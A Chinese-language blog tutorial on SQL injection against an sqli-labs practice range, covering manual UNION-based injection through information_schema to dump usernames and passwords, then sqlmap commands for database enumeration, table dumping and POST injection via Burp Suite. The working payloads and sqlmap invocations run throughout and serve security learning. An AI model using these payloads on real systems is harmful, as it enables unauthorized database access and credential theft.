1.5 SQL注入系列-1

GET类型的mysql类数据库注入初步教程,包括手动和工具辅助两部分

手动注入(ORDER BY与联合查询注入)

以靶场http://sqlilabs.njhack.xyz/Less-1/index.php为例

Step1:破坏数据库语句

破坏数据库语句的目的就是让数据库报错,通过报错信息猜测查询语句的写法

数据库传入参数的几种闭合方式:

1
2
3
4
5
6
7
8
''
""
()
((''))
("")
((""))
(())
没有闭合方式

补充1:

\称为转义字符,可以把自己后面的第一个东西当作字符串去执行


我们传入以下参数:2\

有如下报错:

我们选取其中核心部分''2\' LIMIT 0,1'去掉头尾(因为头尾用来闭合的符号是php报错语句携带的,不是真实代码)

1
'2\' LIMIT 0,1

由此得知该数据库的查询语句是单引号''闭合

因此大概估计查询语句可能为

1
select username,password from tablex where id = '$id' limit 0,1

解释:此处limit a,b语法指从数据表的第a条起选取b条数据

数据表条目要从第0个开始数


补充2:

  1. 数据库的注释符:--/**/#
  2. +在GET请求里相当于空格

+一般配合--作为GET请求的注释符使用


接下来我们传入参数id=2' --+,那么拼成的语句是:

1
select username,password from tablex where id = '2' --+ 'limit 0,1

由于--把后面的内容都注释掉了,实际上执行的数据库语句应该是:

1
select username,password from tablex where id = '2'

提交参数发现查询正常(如图),说明它真的是用''进行闭合的

后日谈: 也可以用永真或永假条件进行测试,即传入

1
2
OR 1=1	//永真
OR 1=2	//永假

Step2:确定查询了多少个栏目

从现在开始我们要调用各种语法查询数据,记住之后的语法全部都是插入在2' {} --+中的花括号位置!

因为之前的语句中username,password栏目是猜测的,所以接下来要核实究竟有多少个栏目

传入参数2' order by [数字] --+使用二分法查看

依次传参,其中数字填为10、5、3……

当数字最大为3时有结果,改为4时没有结果

因此确定查询出了3个栏目,之前的猜测错误

修正:可能的查询项目是id,username,password

Step3:显示报错位

传入参数2' union select 1,2,3 --+返回结果

但是我们想要让查询的1,2,3显示出来,所以要故意让union之前的查询语句出错掩盖掉正常数据

传入参数-2' union select 1,2,3 --+返回结果

说明2、3号位是报错位(显示位)


补充3:

union select a,b,c语法为联合查询,方便我们将两条查询语句捆绑起来一起执行,而且即便其中一条查询语句报错也不影响另一条查询语句输出结果,本地演示效果如下:

第二条select查询的1,2,3正好与前面查询的3个项目一一对应显示,因此第二条select内容务必参照Step2中获得的查询栏目数填写!


Step4:查看数据库的库名

使用语法database()替换任意报错位

传入参数-2' union select 1,database(),3 --+返回结果:

此时2号位对应显示的就是数据库的库名:security

Step5:根据库名查看表名

补充4:

数据库中一般有一个库名为information_schema其中有名为TABLES的数据表,里面统计了各个数据库名及其对应包含的表名,其中数据库名所在的列(栏目)为TABLE_SCHNEMA,数据表名所在的列(栏目)为TABLE_NAME,如图


所以我们要编辑一下第二条查询语句让他能查询到information_schema库中TABLES表中的TABLE_NAME栏目,并且要限制条件TABLE_SCHEMA=‘security’,整合一下需求:

1
-2' union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='security'  --+

为了方便一个个查询符合的数据(一个个查看security库中的表名)我们可以在第二条语句后面补充limit 0,1,之后依次修改前一个数字为1、2、3、4……即可,也就是:

1
-2' union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1 --+

传入参数后发现有4张表:emails referers uagents users

显然users这个表对我们应该更有用

Step6:查询所需表的列(栏目)名

补充5:

information_schema这个库中还有一个名为COLUMNS的表,里面记录了某个数据库(TABLE_SCHEMA)当中每个表(TABLE_NAME)里包含的栏目(COLUMN_NAME)

后日谈:

information_schema(MySQL元数据系统库)
tables 表
(表元数据)
TABLE_SCHEMA
表所属数据库名
TABLE_NAME
表名称
columns 表
(列元数据)
TABLE_SCHEMA
字段所属数据库名
TABLE_NAME
字段所属表名
COLUMN_NAME
字段名

所以我们现在的需求就是去information_schema.COLUMNS表中查找COLUMN_NAME栏目来看看security里users这个表有哪些栏目,并且添加限定条件TABLE_SCHEMA='security' and TABLE_NAME='users'整合需求得到以下参数

1
-2' union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users'  limit 0,1 --+

依次修改limit的值发现有这三个栏目:id username password

Step7:全部取出username及对应password

补充6:

使用group_concat(栏目名)可以取出对应栏目的所有数据


方法一:group_concat()语法

传入以下参数:

1
-2' union select 1,group_concat(username),group_concat(password) from users --+

返回结果:

注:此方法在之前需要使用limit语法的地方也可尝试

方法二:limit a,b 语法

适用情况:网站有输出长度限制

与之前相同,在参数后面添加limit 0,1手动修改依次输出

工具辅助注入

sqlmap 用法(使用Kali版本)

慢速通用版:

STEP1:sqlmap -u [目标url] --dbs也可使用sqlmap -u [目标url] --current-db

前者获取目标网站的所有库名,后者获取当前数据库名

STEP2:sqlmap -u [目标url] -D [库名] --tables

获取指定库里的表

STEP3:sqlmap -u [目标url] -D [库名] -T [表名] --columns

获取指定表里的栏目

STEP4:sqlmap -u [目标url] -D [库名] -T [表名] -C xxx,xxx --dump

获取表里指定栏目的数据

完毕

快速版(也需要分步添加参数):

sqlmap -u [目标url] --dbs --batch --threads 10 --technique U

使用sqlmap查看目标网站的数据库库名,忽略错误,开10线程,使用union select注入目标网站


补充:

–technique X 中后接参数的其他类型

E = 报错注入 error based(无法发现报错位,但是数据库报错会出现)

B = 布尔型注入 booled based(无法发现报错位,数据库闭合破坏也不出现,但是界面上只会出现没有东西两种情况)

T = 布尔型时间盲注 time based(无法发现报错位,数据库闭合被破坏也不出现,界面上也没有出现消失东西的情况)

略微引申:POST类型的注入

以靶场http://sqlilabs.njhack.xyz/Less-11/index.php为例

STEP1:随便提交数据,使用burp suite抓包

输入账号:admin1 密码:admin1

抓包得到post内容uname=admin1&passwd=admin1&submit=Submit

STEP2:使用sqlmap注入

sqlmap -u http://sqlilabs.njhack.xyz/Less-11/index.php --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U

注意:–data后跟着的""包裹字符串内容要在打击处用*做标记

接下来的步骤略

拓展知识

web渗透中目标不同的组合:

Windows+iss+asp/aspx(asp.net)+access/mssql

Windows+apache+php+mysql = wamp (一般使用软件进行集成化搭建)

linux+apache/nginx+php+mysql = lamp/lnmp (又可能使用宝塔或其他面板搭建)

linux+tomcat+java(jsp)+oracle/mysql

linux+nginx+python(django/flask/tornado/fastapi)+go(beego/gin)+mysql


Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS